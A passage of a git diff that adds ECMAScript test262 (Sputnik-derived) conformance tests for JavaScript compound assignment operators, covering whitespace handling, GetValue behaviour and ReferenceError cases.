+if ((eval("x\u000B&=\u000B1")) !== 1) {
+ $ERROR('#2: x = 1; (x\\u000B&=\\u000B1) === 1');
+}
+
+//CHECK#3
+x = 1;
+if ((eval("x\u000C&=\u000C1")) !== 1) {
+ $ERROR('#3: x = 1; (x\\u000C&=\\u000C1) === 1');
+}
+
+//CHECK#4
+x = 1;
+if ((eval("x\u0020&=\u00201")) !== 1) {
+ $ERROR('#4: x = 1; (x\\u0020&=\\u00201) === 1');
+}
+
+//CHECK#5
+x = 1;
+if ((eval("x\u00A0&=\u00A01")) !== 1) {
+ $ERROR('#5: x = 1; (x\\u00A0&=\\u00A01) === 1');
+}
+
+//CHECK#6
+x = 1;
+if ((eval("x\u000A&=\u000A1")) !== 1) {
+ $ERROR('#6: x = 1; (x\\u000A&=\\u000A1) === 1');
+}
+
+//CHECK#7
+x = 1;
+if ((eval("x\u000D&=\u000D1")) !== 1) {
+ $ERROR('#7: x = 1; (x\\u000D&=\\u000D1) === 1');
+}
+
+//CHECK#8
+x = 1;
+if ((eval("x\u2028&=\u20281")) !== 1) {
+ $ERROR('#8: x = 1; (x\\u2028&=\\u20281) === 1');
+}
+
+//CHECK#9
+x = 1;
+if ((eval("x\u2029&=\u20291")) !== 1) {
+ $ERROR('#9: x = 1; (x\\u2029&=\\u20291) === 1');
+}
+
+
+//CHECK#10
+x = 1;
+if ((eval("x\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029&=\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 1) {
+ $ERROR('#10: x = 1; (x\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029&=\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.1.js
new file mode 100644
index 000000000..e6a01dd52
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.1.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x *= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x *= -1);
+if (z !== -1) {
+ $ERROR('#1: var x = 1; var z = (x *= -1); z === -1. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = -1;
+var z = (x *= y);
+if (z !== -1) {
+ $ERROR('#2: var x = 1; var y = -1; var z = (x *= y); z === -1. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.10.js
new file mode 100644
index 000000000..a85d13eb0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.10.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.10.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x ^= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x ^= 1);
+if (z !== 0) {
+ $ERROR('#1: var x = 1; var z = (x ^= 1); z === 0. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = 1;
+var z = (x ^= y);
+if (z !== 0) {
+ $ERROR('#2: var x = 1; var y = 1; var z = (x ^= y); z === 0. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.11.js
new file mode 100644
index 000000000..925ed41d6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.11.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.11.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x |= y"
+ */
+
+//CHECK#1
+var x = 0;
+var z = (x |= 1);
+if (z !== 1) {
+ $ERROR('#1: var x = 0; var z = (x |= 1); z === 1. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 0;
+var y = 1;
+var z = (x |= y);
+if (z !== 1) {
+ $ERROR('#2: var x = 0; var y = 1; var z = (x |= y); z === 1. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.2.js
new file mode 100644
index 000000000..d9ee6bd59
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.2.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x /= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x /= -1);
+if (z !== -1) {
+ $ERROR('#1: var x = 1; var z = (x /= -1); z === -1. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = -1;
+var z = (x /= y);
+if (z !== -1) {
+ $ERROR('#2: var x = 1; var y = -1; var z = (x /= y); z === -1. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.3.js
new file mode 100644
index 000000000..70586cfbb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.3.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.3.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x %= y"
+ */
+
+//CHECK#1
+var x = -1;
+var z = (x %= 2);
+if (z !== -1) {
+ $ERROR('#1: var x = -1; var z = (x %= 2); z === -1. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = -1;
+var y = 2;
+var z = (x %= y);
+if (z !== -1) {
+ $ERROR('#2: var x = -1; var y = 2; var z = (x %= y); z === -1. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.4.js
new file mode 100644
index 000000000..7fcda2fec
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.4.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.4.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x += y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x += 1);
+if (z !== 2) {
+ $ERROR('#1: var x = 1; var z = (x += 1); z === 2. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = 1;
+var z = (x += y);
+if (z !== 2) {
+ $ERROR('#2: var x = 1; var y = 1; var z = (x += y); z === 2. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.5.js
new file mode 100644
index 000000000..db68d5585
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.5.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.5.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x -= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x -= 1);
+if (z !== 0) {
+ $ERROR('#1: var x = 1; var z = (x -= 1); z === 0. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = 1;
+var z = (x -= y);
+if (z !== 0) {
+ $ERROR('#2: var x = 1; var y = 1; var z = (x -= y); z === 0. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.6.js
new file mode 100644
index 000000000..f6f5ac7ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.6.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.6.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x <<= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x <<= 1);
+if (z !== 2) {
+ $ERROR('#1: var x = 1; var z = (x <<= 1); z === 2. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = 1;
+var z = (x <<= y);
+if (z !== 2) {
+ $ERROR('#2: var x = 1; var y = 1; var z = (x <<= y); z === 2. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.7.js
new file mode 100644
index 000000000..cdc37d9ba
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.7.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.7.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x >>= y"
+ */
+
+//CHECK#1
+var x = 4;
+var z = (x >>= 1);
+if (z !== 2) {
+ $ERROR('#1: var x = 4; var z = (x >>= 1); z === 2. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 4;
+var y = 1;
+var z = (x >>= y);
+if (z !== 2) {
+ $ERROR('#2: var x = 4; var y = 1; var z = (x >>= y); z === 2. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.8.js
new file mode 100644
index 000000000..e53d41a51
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.8.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.8.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x >>>= y"
+ */
+
+//CHECK#1
+var x = 4;
+var z = (x >>>= 1);
+if (z !== 2) {
+ $ERROR('#1: var x = 4; var z = (x >>>= 1); z === 2. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 4;
+var y = 1;
+var z = (x >>>= y);
+if (z !== 2) {
+ $ERROR('#2: var x = 4; var y = 1; var z = (x >>>= y); z === 2. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.9.js
new file mode 100644
index 000000000..a74dee97d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T1.9.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T1.9.js
+ * @description Either Type is not Reference or GetBase is not null, check opeartor is "x &= y"
+ */
+
+//CHECK#1
+var x = 1;
+var z = (x &= 1);
+if (z !== 1) {
+ $ERROR('#1: var x = 1; var z = (x &= 1); z === 1. Actual: ' + (z));
+}
+
+//CHECK#2
+var x = 1;
+var y = 1;
+var z = (x &= y);
+if (z !== 1) {
+ $ERROR('#2: var x = 1; var y = 1; var z = (x &= y); z === 1. Actual: ' + (z));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.1.js
new file mode 100644
index 000000000..eede73f3d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.1.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x *= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x *= y);
+ $ERROR('#1.1: var x = 1; x *= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x *= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.10.js
new file mode 100644
index 000000000..27c243325
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.10.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.10.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x ^= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x ^= y);
+ $ERROR('#1.1: var x = 1; x ^= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x ^= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.11.js
new file mode 100644
index 000000000..22cd6c1b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.11.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.11.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x |= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x |= y);
+ $ERROR('#1.1: var x = 1; x |= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x |= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.2.js
new file mode 100644
index 000000000..02a39f6c4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.2.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x /= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x /= y);
+ $ERROR('#1.1: var x = 1; x /= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x /= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.3.js
new file mode 100644
index 000000000..1d11d3bce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.3.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x %= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x %= y);
+ $ERROR('#1.1: var x = 1; x %= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x %= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.4.js
new file mode 100644
index 000000000..771302777
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.4.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.4.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x += y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x += y);
+ $ERROR('#1.1: var x = 1; x += y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x += y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.5.js
new file mode 100644
index 000000000..500e5e6a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.5.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x -= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x -= y);
+ $ERROR('#1.1: var x = 1; x -= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x -= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.6.js
new file mode 100644
index 000000000..9042f94bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.6.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.6.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x <<= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x <<= y);
+ $ERROR('#1.1: var x = 1; x <<= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x <<= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.7.js
new file mode 100644
index 000000000..8c391557e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.7.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.7.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x >>= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x >>= y);
+ $ERROR('#1.1: var x = 1; x >>= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x >>= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.8.js
new file mode 100644
index 000000000..8db8963a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.8.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.8.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x >>>= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x >>>= y);
+ $ERROR('#1.1: var x = 1; x >>>= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x >>>= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.9.js
new file mode 100644
index 000000000..a9155a34e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T2.9.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T2.9.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError. Check operator is "x &= y"
+ */
+
+//CHECK#1
+try {
+ var x = 1;
+ var z = (x &= y);
+ $ERROR('#1.1: var x = 1; x &= y throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: var x = 1; x &= y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.1.js
new file mode 100644
index 000000000..247f69ebc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.1.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x *= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x *= 1);
+ $ERROR('#1.1: x *= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x *= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.10.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.10.js
new file mode 100644
index 000000000..2c8495ca8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.10.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.10.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x ^= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x ^= 1);
+ $ERROR('#1.1: x ^= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x ^= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.11.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.11.js
new file mode 100644
index 000000000..9901b9db1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.11.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.11.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x |= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x |= 1);
+ $ERROR('#1.1: x |= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x |= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.2.js
new file mode 100644
index 000000000..6832765ef
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.2.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x /= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x /= 1);
+ $ERROR('#1.1: x /= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x /= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.3.js
new file mode 100644
index 000000000..dc0df0e52
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator uses GetValue
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A2.1_T3.3.js
+ * @description If GetBase(LeftHandSideExpression) is null, throw ReferenceError. Check operator is "x %= y"
+ */
+
+//CHECK#1
+try {
+ var z = (x %= 1);
+ $ERROR('#1.1: x %= 1 throw ReferenceError. Actual: ' + (z));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x %= 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A2.1_T3.4.js
new file mode 100644
index 000000000..a32957d99
